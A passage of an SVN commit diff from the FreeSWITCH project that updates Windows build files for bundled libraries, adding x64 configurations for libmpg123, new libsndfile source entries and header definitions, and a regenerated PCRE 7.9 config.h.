 				RelativePath="..\..\libsndfile\src\ms_adpcm.c"
 				>
 			</File>
@@ -286,6 +455,10 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\libsndfile\src\rf64.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\libsndfile\src\rx2.c"
 				>
 			</File>

Modified: freeswitch/branches/seven/libs/win32/libsndfile/libsndfile.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/libsndfile/libsndfile.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/libsndfile/libsndfile.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -165,6 +165,10 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\libsndfile\src\audio_detect.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\libsndfile\src\avr.c"
 				>
 			</File>
@@ -177,11 +181,15 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\libsndfile\src\chunk.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\libsndfile\src\command.c"
 				>
 			</File>
 			<File
-				RelativePath=".\common.c"
+				RelativePath="..\..\libsndfile\src\common.c"
 				>
 			</File>
 			<File
@@ -247,6 +255,14 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\libsndfile\src\ima_oki_adpcm.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\libsndfile\src\ima_oki_adpcm.h"
+				>
+			</File>
+			<File
 				RelativePath="..\..\libsndfile\src\ircam.c"
 				>
 			</File>
@@ -259,6 +275,10 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\libsndfile\src\mpc2k.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\libsndfile\src\ms_adpcm.c"
 				>
 			</File>
@@ -287,6 +307,10 @@
 				>
 			</File>
 			<File
+				RelativePath="..\..\libsndfile\src\rf64.c"
+				>
+			</File>
+			<File
 				RelativePath="..\..\libsndfile\src\rx2.c"
 				>
 			</File>

Modified: freeswitch/branches/seven/libs/win32/libsndfile/sndfile.h (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/libsndfile/sndfile.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/libsndfile/sndfile.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -30,15 +30,8 @@
 #define	SNDFILE_1
 
 #include <stdio.h>
+#include <sys/types.h>
 
-/* For the Metrowerks CodeWarrior Pro Compiler (mainly MacOS) */
-
-#if	(defined (__MWERKS__))
-#include	<unix.h>
-#else
-#include	<sys/types.h>
-#endif
-
 #ifdef __cplusplus
 extern "C" {
 #endif	/* __cplusplus */
@@ -73,6 +66,10 @@
 	SF_FORMAT_SD2			= 0x160000,		/* Sound Designer 2 */
 	SF_FORMAT_FLAC			= 0x170000,		/* FLAC lossless file format */
 	SF_FORMAT_CAF			= 0x180000,		/* Core Audio File format */
+	SF_FORMAT_WVE			= 0x190000,		/* Psion WVE format */
+	SF_FORMAT_OGG			= 0x200000,		/* Xiph OGG container */
+	SF_FORMAT_MPC2K			= 0x210000,		/* Akai MPC 2000 sampler */
+	SF_FORMAT_RF64			= 0x220000,		/* RF64 WAV file */
 
 	/* Subtypes from here on. */
 
@@ -106,6 +103,8 @@
 	SF_FORMAT_DPCM_8		= 0x0050,		/* 8 bit differential PCM (XI only) */
 	SF_FORMAT_DPCM_16		= 0x0051,		/* 16 bit differential PCM (XI only) */
 
+	SF_FORMAT_VORBIS		= 0x0060,		/* Xiph Vorbis encoding. */
+
 	/* Endian-ness options. */
 
 	SF_ENDIAN_FILE			= 0x00000000,	/* Default file endian-ness. */
@@ -127,12 +126,15 @@
 enum
 {	SFC_GET_LIB_VERSION				= 0x1000,
 	SFC_GET_LOG_INFO				= 0x1001,
+	SFC_GET_CURRENT_SF_INFO			= 0x1002,
 
+
 	SFC_GET_NORM_DOUBLE				= 0x1010,
 	SFC_GET_NORM_FLOAT				= 0x1011,
 	SFC_SET_NORM_DOUBLE				= 0x1012,
 	SFC_SET_NORM_FLOAT				= 0x1013,
 	SFC_SET_SCALE_FLOAT_INT_READ	= 0x1014,
+	SFC_SET_SCALE_INT_FLOAT_WRITE	= 0x1015,
 
 	SFC_GET_SIMPLE_FORMAT_COUNT		= 0x1020,
 	SFC_GET_SIMPLE_FORMAT			= 0x1021,
@@ -152,6 +154,7 @@
 	SFC_GET_MAX_ALL_CHANNELS		= 0x1045,
 
 	SFC_SET_ADD_PEAK_CHUNK			= 0x1050,
+	SFC_SET_ADD_HEADER_PAD_CHUNK	= 0x1051,
 
 	SFC_UPDATE_HEADER_NOW			= 0x1060,
 	SFC_SET_UPDATE_HEADER_AUTO		= 0x1061,
@@ -179,6 +182,17 @@
 	SFC_GET_BROADCAST_INFO			= 0x10F0,
 	SFC_SET_BROADCAST_INFO			= 0x10F1,
 
+	SFC_GET_CHANNEL_MAP_INFO		= 0x1100,
+	SFC_SET_CHANNEL_MAP_INFO		= 0x1101,
+
+	SFC_RAW_DATA_NEEDS_ENDSWAP		= 0x1110,
+
+	/* Support for Wavex Ambisonics Format */
+	SFC_WAVEX_SET_AMBISONIC			= 0x1200,
+	SFC_WAVEX_GET_AMBISONIC			= 0x1201,
+
+	SFC_SET_VBR_ENCODING_QUALITY	= 0x1300,
+
 	/* Following commands for testing only. */
 	SFC_TEST_IEEE_FLOAT_REPLACE		= 0x6001,
 
@@ -205,7 +219,9 @@
 	SF_STR_SOFTWARE					= 0x03,
 	SF_STR_ARTIST					= 0x04,
 	SF_STR_COMMENT					= 0x05,
-	SF_STR_DATE						= 0x06
+	SF_STR_DATE						= 0x06,
+	SF_STR_ALBUM					= 0x07,
+	SF_STR_LICENSE					= 0x08
 } ;
 
 /*
@@ -214,7 +230,7 @@
 */
 
 #define	SF_STR_FIRST	SF_STR_TITLE
-#define	SF_STR_LAST		SF_STR_DATE
+#define	SF_STR_LAST		SF_STR_LICENSE
 
 enum
 {	/* True and false */
@@ -224,7 +240,10 @@
 	/* Modes for opening files. */
 	SFM_READ	= 0x10,
 	SFM_WRITE	= 0x20,
-	SFM_RDWR	= 0x30
+	SFM_RDWR	= 0x30,
+
+	SF_AMBISONIC_NONE		= 0x40,
+	SF_AMBISONIC_B_FORMAT	= 0x41
 } ;
 
 /* Public error values. These are guaranteed to remain unchanged for the duration
@@ -241,13 +260,45 @@
 	SF_ERR_UNSUPPORTED_ENCODING	= 4
 } ;
 
+
+/* Channel map values (used with SFC_SET/GET_CHANNEL_MAP).
+*/
+
+enum
+{	SF_CHANNEL_MAP_INVALID = 0,
+	SF_CHANNEL_MAP_MONO = 1,
+	SF_CHANNEL_MAP_LEFT,
+	SF_CHANNEL_MAP_RIGHT,
+	SF_CHANNEL_MAP_CENTER,
+	SF_CHANNEL_MAP_FRONT_LEFT,
+	SF_CHANNEL_MAP_FRONT_RIGHT,
+	SF_CHANNEL_MAP_FRONT_CENTER,
+	SF_CHANNEL_MAP_REAR_CENTER,
+	SF_CHANNEL_MAP_REAR_LEFT,
+	SF_CHANNEL_MAP_REAR_RIGHT,
+	SF_CHANNEL_MAP_LFE,
+	SF_CHANNEL_MAP_FRONT_LEFT_OF_CENTER,
+	SF_CHANNEL_MAP_FRONT_RIGHT_OF_CENTER,
+	SF_CHANNEL_MAP_SIDE_LEFT,
+	SF_CHANNEL_MAP_SIDE_RIGHT,
+	SF_CHANNEL_MAP_TOP_CENTER,
+	SF_CHANNEL_MAP_TOP_FRONT_LEFT,
+	SF_CHANNEL_MAP_TOP_FRONT_RIGHT,
+	SF_CHANNEL_MAP_TOP_FRONT_CENTER,
+	SF_CHANNEL_MAP_TOP_REAR_LEFT,
+	SF_CHANNEL_MAP_TOP_REAR_RIGHT,
+	SF_CHANNEL_MAP_TOP_REAR_CENTER
+} ;
+
+
 /* A SNDFILE* pointer can be passed around much like stdio.h's FILE* pointer. */
 
 typedef	struct SNDFILE_tag	SNDFILE ;
 
-/* The following typedef is system specific and is defined when libsndfile is.
-** compiled. sf_count_t can be one of loff_t (Linux), off_t (*BSD),
-** off64_t (Solaris), __int64_t (Win32) etc.
+/* The following typedef is system specific and is defined when libsndfile is
+** compiled. sf_count_t can be one of loff_t (Linux), off_t (*BSD), off64_t 
+** (Solaris), __int64_t (Win32) etc. On windows, we need to allow the same
+** header file to be compiler by both GCC and the microsoft compiler.
 */
 
 typedef __int64	sf_count_t ;
@@ -368,24 +419,31 @@
 } SF_LOOP_INFO ;
 
 
-/*	Struct used to retrieve broadcast (EBU) information from a file. 
+/*	Struct used to retrieve broadcast (EBU) information from a file.
 **	Strongly (!) based on EBU "bext" chunk format used in Broadcast WAVE.
 */
-typedef struct
-{	char			description [256] ;
-	char			originator [32] ;
-	char			originator_reference [32] ;
-	char			origination_date [10] ;
-	char			origination_time [8] ;
-	int				time_reference_low ;
-	int				time_reference_high ;
-	short			version ;
-	char			umid [64] ;
-	char			reserved [190] ;
-	unsigned int	coding_history_size ;
-	char			coding_history [256] ;
-} SF_BROADCAST_INFO ;
+#define	SF_BROADCAST_INFO_VAR(coding_hist_size) \
+			struct \
+			{	char			description [256] ; \
+				char			originator [32] ; \
+				char			originator_reference [32] ; \
+				char			origination_date [10] ; \
+				char			origination_time [8] ; \
+				unsigned int	time_reference_low ; \
+				unsigned int	time_reference_high ; \
+				short			version ; \
+				char			umid [64] ; \
+				char			reserved [190] ; \
+				unsigned int	coding_history_size ; \
+				char			coding_history [coding_hist_size] ; \
+			}
 
+/* SF_BROADCAST_INFO is the above struct with coding_history field of 256 bytes. */
+typedef SF_BROADCAST_INFO_VAR (256) SF_BROADCAST_INFO ;
+
+
+/*	Virtual I/O functionality. */
+
 typedef sf_count_t		(*sf_vio_get_filelen)	(void *user_data) ;
 typedef sf_count_t		(*sf_vio_seek)		(sf_count_t offset, int whence, void *user_data) ;
 typedef sf_count_t		(*sf_vio_read)		(void *ptr, sf_count_t count, void *user_data) ;
@@ -404,7 +462,7 @@
 
 /* Open the specified file for read, write or both. On error, this will
 ** return a NULL pointer. To find the error number, pass a NULL SNDFILE
-** to sf_perror () or sf_error_str ().
+** to sf_strerror ().
 ** All calls to sf_open() should be matched with a call to sf_close().
 */
 
@@ -417,7 +475,7 @@
 ** of file header is at the current file offset. This allows sound files within
 ** larger container files to be read and/or written.
 ** On error, this will return a NULL pointer. To find the error number, pass a
-** NULL SNDFILE to sf_perror () or sf_error_str ().
+** NULL SNDFILE to sf_strerror ().
 ** All calls to sf_open_fd() should be matched with a call to sf_close().
 
 */
@@ -445,7 +503,7 @@
 
 const char*	sf_error_number	(int errnum) ;
 
-/* The following three error functions are deprecated but they will remain in the
+/* The following two error functions are deprecated but they will remain in the
 ** library for the forseeable future. The function sf_strerror() should be used
 ** in their place.
 */
@@ -552,12 +610,3 @@
 #endif	/* __cplusplus */
 
 #endif	/* SNDFILE_H */
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 906bb197-18f2-4f66-a395-b4722bab5114
-*/
-

Property changes: freeswitch/branches/seven/libs/win32/mpg123


Name: svn:ignore
   - Debug
*.user
Release
   + Debug
*.user
Release
x64

Modified: freeswitch/branches/seven/libs/win32/mpg123/libmpg123.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/mpg123/libmpg123.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/mpg123/libmpg123.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -84,6 +87,71 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="src;&quot;$(ProjectDir)libmpg123&quot;"
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;OPT_GENERIC;strcasecmp=stricmp;strncasecmp=strnicmp"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4100;4018;4244;4127;4189;4389;4702;4706"
+				EnablePREfast="false"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory=".\Release"
 			IntermediateDirectory=".\Release"
@@ -148,6 +216,69 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="src;&quot;$(ProjectDir)libmpg123&quot;"
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;OPT_GENERIC;strcasecmp=stricmp;strncasecmp=strnicmp"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4100;4018;4244;4127;4189;4389;4702;4706"
+				EnablePREfast="false"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Property changes: freeswitch/branches/seven/libs/win32/pcre


Name: svn:ignore
   - Debug
Release
*.ncb
*.user
*.bak
Debug DLL
Release DLL
pcre_chartables.c
   + Debug
Release
*.ncb
*.user
*.bak
Debug DLL
Release DLL
pcre_chartables.c
x64

Modified: freeswitch/branches/seven/libs/win32/pcre/config.h (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/pcre/config.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/pcre/config.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,159 +1,313 @@
+/* config.h.  Generated from config.h.in by configure.  */
+/* config.h.in.  Generated from configure.ac by autoheader.  */
 
-/* On Unix-like systems config.in is converted by "configure" into config.h.
+
+/* On Unix-like systems config.h.in is converted by "configure" into config.h.
 Some other environments also support the use of "configure". PCRE is written in
 Standard C, but there are a few non-standard things it can cope with, allowing
 it to run on SunOS4 and other "close to standard" systems.
 
-On a non-Unix-like system you should just copy this file into config.h, and set
-up the macros the way you need them. You should normally change the definitions
-of HAVE_STRERROR and HAVE_MEMMOVE to 1. Unfortunately, because of the way
-autoconf works, these cannot be made the defaults. If your system has bcopy()
-and not memmove(), change the definition of HAVE_BCOPY instead of HAVE_MEMMOVE.
-If your system has neither bcopy() nor memmove(), leave them both as 0; an
-emulation function will be used. */
+If you are going to build PCRE "by hand" on a system without "configure" you
+should copy the distributed config.h.generic to config.h, and then set up the
+macro definitions the way you need them. You must then add -DHAVE_CONFIG_H to
+all of your compile commands, so that config.h is included at the start of
+every source.
 
+Alternatively, you can avoid editing by using -D on the compiler command line
+to set the macro values. In this case, you do not have to set -DHAVE_CONFIG_H.
+
+PCRE uses memmove() if HAVE_MEMMOVE is set to 1; otherwise it uses bcopy() if
+HAVE_BCOPY is set to 1. If your system has neither bcopy() nor memmove(), set
+them both to 0; an emulation function will be used. */
+
+/* By default, the \R escape sequence matches any Unicode line ending
+   character or sequence of characters. If BSR_ANYCRLF is defined, this is
+   changed so that backslash-R matches only CR, LF, or CRLF. The build- time
+   default can be overridden by the user of PCRE at runtime. On systems that
+   support it, "configure" can be used to override the default. */
+/* #undef BSR_ANYCRLF */
+
 /* If you are compiling for a system that uses EBCDIC instead of ASCII
-character codes, define this macro as 1. On systems that can use "configure",
-this can be done via --enable-ebcdic. */
+   character codes, define this macro as 1. On systems that can use
+   "configure", this can be done via --enable-ebcdic. PCRE will then assume
+   that all input strings are in EBCDIC. If you do not define this macro, PCRE
+   will assume input strings are ASCII or UTF-8 Unicode. It is not possible to
+   build a version of PCRE that supports both EBCDIC and UTF-8. */
+/* #undef EBCDIC */
 
-#ifndef EBCDIC
-#define EBCDIC 0
+/* Define to 1 if you have the `bcopy' function. */
+#ifndef HAVE_BCOPY
+#define HAVE_BCOPY 1
 #endif
 
-/* If you are compiling for a system other than a Unix-like system or Win32,
-and it needs some magic to be inserted before the definition of a function that
-is exported by the library, define this macro to contain the relevant magic. If
-you do not define this macro, it defaults to "extern" for a C compiler and
-"extern C" for a C++ compiler on non-Win32 systems. This macro apears at the
-start of every exported function that is part of the external API. It does not
-appear on functions that are "external" in the C sense, but which are internal
-to the library. */
+/* Define to 1 if you have the <bits/type_traits.h> header file. */
+/* #undef HAVE_BITS_TYPE_TRAITS_H */
 
-/* #define PCRE_DATA_SCOPE */
+/* Define to 1 if you have the <bzlib.h> header file. */
+#ifndef HAVE_BZLIB_H
+#define HAVE_BZLIB_H 1
+#endif
 
-/* Define the following macro to empty if the "const" keyword does not work. */
+/* Define to 1 if you have the <dirent.h> header file. */
+#ifndef HAVE_DIRENT_H
+#define HAVE_DIRENT_H 1
+#endif
 
-/* #undef const */
+/* Define to 1 if you have the <dlfcn.h> header file. */
+#ifndef HAVE_DLFCN_H
+#define HAVE_DLFCN_H 1
+#endif
 
-/* Define the following macro to "unsigned" if <stddef.h> does not define
-size_t. */
+/* Define to 1 if you have the <inttypes.h> header file. */
+#ifndef HAVE_INTTYPES_H
+#define HAVE_INTTYPES_H 1
+#endif
 
-/* #undef size_t */
+/* Define to 1 if you have the <limits.h> header file. */
+#ifndef HAVE_LIMITS_H
+#define HAVE_LIMITS_H 1
+#endif
 
-/* The following two definitions are mainly for the benefit of SunOS4, which
-does not have the strerror() or memmove() functions that should be present in
-all Standard C libraries. The macros HAVE_STRERROR and HAVE_MEMMOVE should
-normally be defined with the value 1 for other systems, but unfortunately we
-cannot make this the default because "configure" files generated by autoconf
-will only change 0 to 1; they won't change 1 to 0 if the functions are not
-found. */
+/* Define to 1 if the system has the type `long long'. */
+#ifndef HAVE_LONG_LONG
+#define HAVE_LONG_LONG 1
+#endif
 
-#define HAVE_STRERROR 1
+/* Define to 1 if you have the `memmove' function. */
+#ifndef HAVE_MEMMOVE
 #define HAVE_MEMMOVE 1
-#define HAVE_WIN32API 1
+#endif
 
-/* There are some non-Unix-like systems that don't even have bcopy(). If this
-macro is false, an emulation is used. If HAVE_MEMMOVE is set to 1, the value of
-HAVE_BCOPY is not relevant. */
+/* Define to 1 if you have the <memory.h> header file. */
+#ifndef HAVE_MEMORY_H
+#define HAVE_MEMORY_H 1
+#endif
 
-#define HAVE_BCOPY 1
+/* Define to 1 if you have the <readline/history.h> header file. */
+#ifndef HAVE_READLINE_HISTORY_H
+#define HAVE_READLINE_HISTORY_H 1
+#endif
 
-/* The value of NEWLINE determines the newline character. The default is to
-leave it up to the compiler, but some sites want to force a particular value.
-On Unix-like systems, "configure" can be used to override this default. */
+/* Define to 1 if you have the <readline/readline.h> header file. */
+#ifndef HAVE_READLINE_READLINE_H
+#define HAVE_READLINE_READLINE_H 1
+#endif
 
-#ifndef NEWLINE
-#define NEWLINE '\n'
+/* Define to 1 if you have the <stdint.h> header file. */
+#ifndef HAVE_STDINT_H
+#define HAVE_STDINT_H 1
 #endif
 
-/* The value of LINK_SIZE determines the number of bytes used to store links as
-offsets within the compiled regex. The default is 2, which allows for compiled
-patterns up to 64K long. This covers the vast majority of cases. However, PCRE
-can also be compiled to use 3 or 4 bytes instead. This allows for longer
-patterns in extreme cases. On systems that support it, "configure" can be used
-to override this default. */
+/* Define to 1 if you have the <stdlib.h> header file. */
+#ifndef HAVE_STDLIB_H
+#define HAVE_STDLIB_H 1
+#endif
 
-#ifndef LINK_SIZE
-#define LINK_SIZE   2
+/* Define to 1 if you have the `strerror' function. */
+#ifndef HAVE_STRERROR
+#define HAVE_STRERROR 1
 #endif
 
-/* When calling PCRE via the POSIX interface, additional working storage is
-required for holding the pointers to capturing substrings because PCRE requires
-three integers per substring, whereas the POSIX interface provides only two. If
-the number of expected substrings is small, the wrapper function uses space on
-the stack, because this is faster than using malloc() for each call. The
-threshold above which the stack is no longer used is defined by POSIX_MALLOC_
-THRESHOLD. On systems that support it, "configure" can be used to override this
-default. */
+/* Define to 1 if you have the <string> header file. */
+#ifndef HAVE_STRING
+#define HAVE_STRING 1
+#endif
 
-#ifndef POSIX_MALLOC_THRESHOLD
-#define POSIX_MALLOC_THRESHOLD 10
+/* Define to 1 if you have the <strings.h> header file. */
+#ifndef HAVE_STRINGS_H
+#define HAVE_STRINGS_H 1
 #endif
 
-/* PCRE uses recursive function calls to handle backtracking while matching.
-This can sometimes be a problem on systems that have stacks of limited size.
-Define NO_RECURSE to get a version that doesn't use recursion in the match()
-function; instead it creates its own stack by steam using pcre_recurse_malloc()
-to obtain memory from the heap. For more detail, see the comments and other
-stuff just above the match() function. On systems that support it, "configure"
-can be used to set this in the Makefile (use --disable-stack-for-recursion). */
+/* Define to 1 if you have the <string.h> header file. */
+#ifndef HAVE_STRING_H
+#define HAVE_STRING_H 1
+#endif
 
-/* #define NO_RECURSE */
+/* Define to 1 if you have the `strtoll' function. */
+/* #undef HAVE_STRTOLL */
 
-/* The value of MATCH_LIMIT determines the default number of times the internal
-match() function can be called during a single execution of pcre_exec(). There
-is a runtime interface for setting a different limit. The limit exists in order
-to catch runaway regular expressions that take for ever to determine that they
-do not match. The default is set very large so that it does not accidentally
-catch legitimate cases. On systems that support it, "configure" can be used to
-override this default default. */
+/* Define to 1 if you have the `strtoq' function. */
+#ifndef HAVE_STRTOQ
+#define HAVE_STRTOQ 1
+#endif
 
+/* Define to 1 if you have the <sys/stat.h> header file. */
+#ifndef HAVE_SYS_STAT_H
+#define HAVE_SYS_STAT_H 1
+#endif
+
+/* Define to 1 if you have the <sys/types.h> header file. */
+#ifndef HAVE_SYS_TYPES_H
+#define HAVE_SYS_TYPES_H 1
+#endif
+
+/* Define to 1 if you have the <type_traits.h> header file. */
+/* #undef HAVE_TYPE_TRAITS_H */
+
+/* Define to 1 if you have the <unistd.h> header file. */
+#ifndef HAVE_UNISTD_H
+#define HAVE_UNISTD_H 1
+#endif
+
+/* Define to 1 if the system has the type `unsigned long long'. */
+#ifndef HAVE_UNSIGNED_LONG_LONG
+#define HAVE_UNSIGNED_LONG_LONG 1
+#endif
+
+/* Define to 1 if you have the <windows.h> header file. */
+#define HAVE_WINDOWS_H 1
+
+/* Define to 1 if you have the <zlib.h> header file. */
+#ifndef HAVE_ZLIB_H
+#define HAVE_ZLIB_H 1
+#endif
+
+/* Define to 1 if you have the `_strtoi64' function. */
+/* #undef HAVE__STRTOI64 */
+
+/* The value of LINK_SIZE determines the number of bytes used to store links
+   as offsets within the compiled regex. The default is 2, which allows for
+   compiled patterns up to 64K long. This covers the vast majority of cases.
+   However, PCRE can also be compiled to use 3 or 4 bytes instead. This allows
+   for longer patterns in extreme cases. On systems that support it,
+   "configure" can be used to override this default. */
+#ifndef LINK_SIZE
+#define LINK_SIZE 2
+#endif
+
+/* The value of MATCH_LIMIT determines the default number of times the
+   internal match() function can be called during a single execution of
+   pcre_exec(). There is a runtime interface for setting a different limit.
+   The limit exists in order to catch runaway regular expressions that take
+   for ever to determine that they do not match. The default is set very large
+   so that it does not accidentally catch legitimate cases. On systems that
+   support it, "configure" can be used to override this default default. */
 #ifndef MATCH_LIMIT
 #define MATCH_LIMIT 10000000
 #endif
 
 /* The above limit applies to all calls of match(), whether or not they
-increase the recursion depth. In some environments it is desirable to limit the
-depth of recursive calls of match() more strictly, in order to restrict the
-maximum amount of stack (or heap, if NO_RECURSE is defined) that is used. The
-value of MATCH_LIMIT_RECURSION applies only to recursive calls of match(). To
-have any useful effect, it must be less than the value of MATCH_LIMIT. There is
-a runtime method for setting a different limit. On systems that support it,
-"configure" can be used to override this default default. */
-
+   increase the recursion depth. In some environments it is desirable to limit
+   the depth of recursive calls of match() more strictly, in order to restrict
+   the maximum amount of stack (or heap, if NO_RECURSE is defined) that is
+   used. The value of MATCH_LIMIT_RECURSION applies only to recursive calls of
+   match(). To have any useful effect, it must be less than the value of
+   MATCH_LIMIT. The default is to use the same value as MATCH_LIMIT. There is
+   a runtime method for setting a different limit. On systems that support it,
+   "configure" can be used to override the default. */
 #ifndef MATCH_LIMIT_RECURSION
 #define MATCH_LIMIT_RECURSION MATCH_LIMIT
 #endif
 
-/* These three limits are parameterized just in case anybody ever wants to
-change them. Care must be taken if they are increased, because they guard
-against integer overflow caused by enormously large patterns. */
+/* This limit is parameterized just in case anybody ever wants to change it.
+   Care must be taken if it is increased, because it guards against integer
+   overflow caused by enormously large patterns. */
+#ifndef MAX_NAME_COUNT
+#define MAX_NAME_COUNT 10000
+#endif
 
+/* This limit is parameterized just in case anybody ever wants to change it.
+   Care must be taken if it is increased, because it guards against integer
+   overflow caused by enormously large patterns. */
 #ifndef MAX_NAME_SIZE
 #define MAX_NAME_SIZE 32
 #endif
 
-#ifndef MAX_NAME_COUNT
-#define MAX_NAME_COUNT 10000
+/* The value of NEWLINE determines the newline character sequence. On systems
+   that support it, "configure" can be used to override the default, which is
+   10. The possible values are 10 (LF), 13 (CR), 3338 (CRLF), -1 (ANY), or -2
+   (ANYCRLF). */
+#ifndef NEWLINE
+#define NEWLINE 10
 #endif
 
-#ifndef MAX_DUPLENGTH
-#define MAX_DUPLENGTH 30000
+/* PCRE uses recursive function calls to handle backtracking while matching.
+   This can sometimes be a problem on systems that have stacks of limited
+   size. Define NO_RECURSE to get a version that doesn't use recursion in the
+   match() function; instead it creates its own stack by steam using
+   pcre_recurse_malloc() to obtain memory from the heap. For more detail, see
+   the comments and other stuff just above the match() function. On systems
+   that support it, "configure" can be used to set this in the Makefile (use
+   --disable-stack-for-recursion). */
+/* #undef NO_RECURSE */
+
+/* Name of package */
+#define PACKAGE "pcre"
+
+/* Define to the address where bug reports for this package should be sent. */
+#define PACKAGE_BUGREPORT ""
+
+/* Define to the full name of this package. */
+#define PACKAGE_NAME "PCRE"
+
+/* Define to the full name and version of this package. */
+#define PACKAGE_STRING "PCRE 7.9"
+
+/* Define to the one symbol short name of this package. */
+#define PACKAGE_TARNAME "pcre"
+
+/* Define to the version of this package. */
+#define PACKAGE_VERSION "7.9"
+
+
+/* If you are compiling for a system other than a Unix-like system or
+   Win32, and it needs some magic to be inserted before the definition
+   of a function that is exported by the library, define this macro to
+   contain the relevant magic. If you do not define this macro, it
+   defaults to "extern" for a C compiler and "extern C" for a C++
+   compiler on non-Win32 systems. This macro apears at the start of
+   every exported function that is part of the external API. It does
+   not appear on functions that are "external" in the C sense, but
+   which are internal to the library. */
+/* #undef PCRE_EXP_DEFN */
+
+/* Define if linking statically (TODO: make nice with Libtool) */
+/* #undef PCRE_STATIC */
+
+/* When calling PCRE via the POSIX interface, additional working storage is
+   required for holding the pointers to capturing substrings because PCRE
+   requires three integers per substring, whereas the POSIX interface provides
+   only two. If the number of expected substrings is small, the wrapper
+   function uses space on the stack, because this is faster than using
+   malloc() for each call. The threshold above which the stack is no longer
+   used is defined by POSIX_MALLOC_THRESHOLD. On systems that support it,
+   "configure" can be used to override this default. */
+#ifndef POSIX_MALLOC_THRESHOLD
+#define POSIX_MALLOC_THRESHOLD 10
 #endif
 
-#ifndef INVALID_FILE_ATTRIBUTES
-#define INVALID_FILE_ATTRIBUTES (-1L)
+/* Define to 1 if you have the ANSI C header files. */
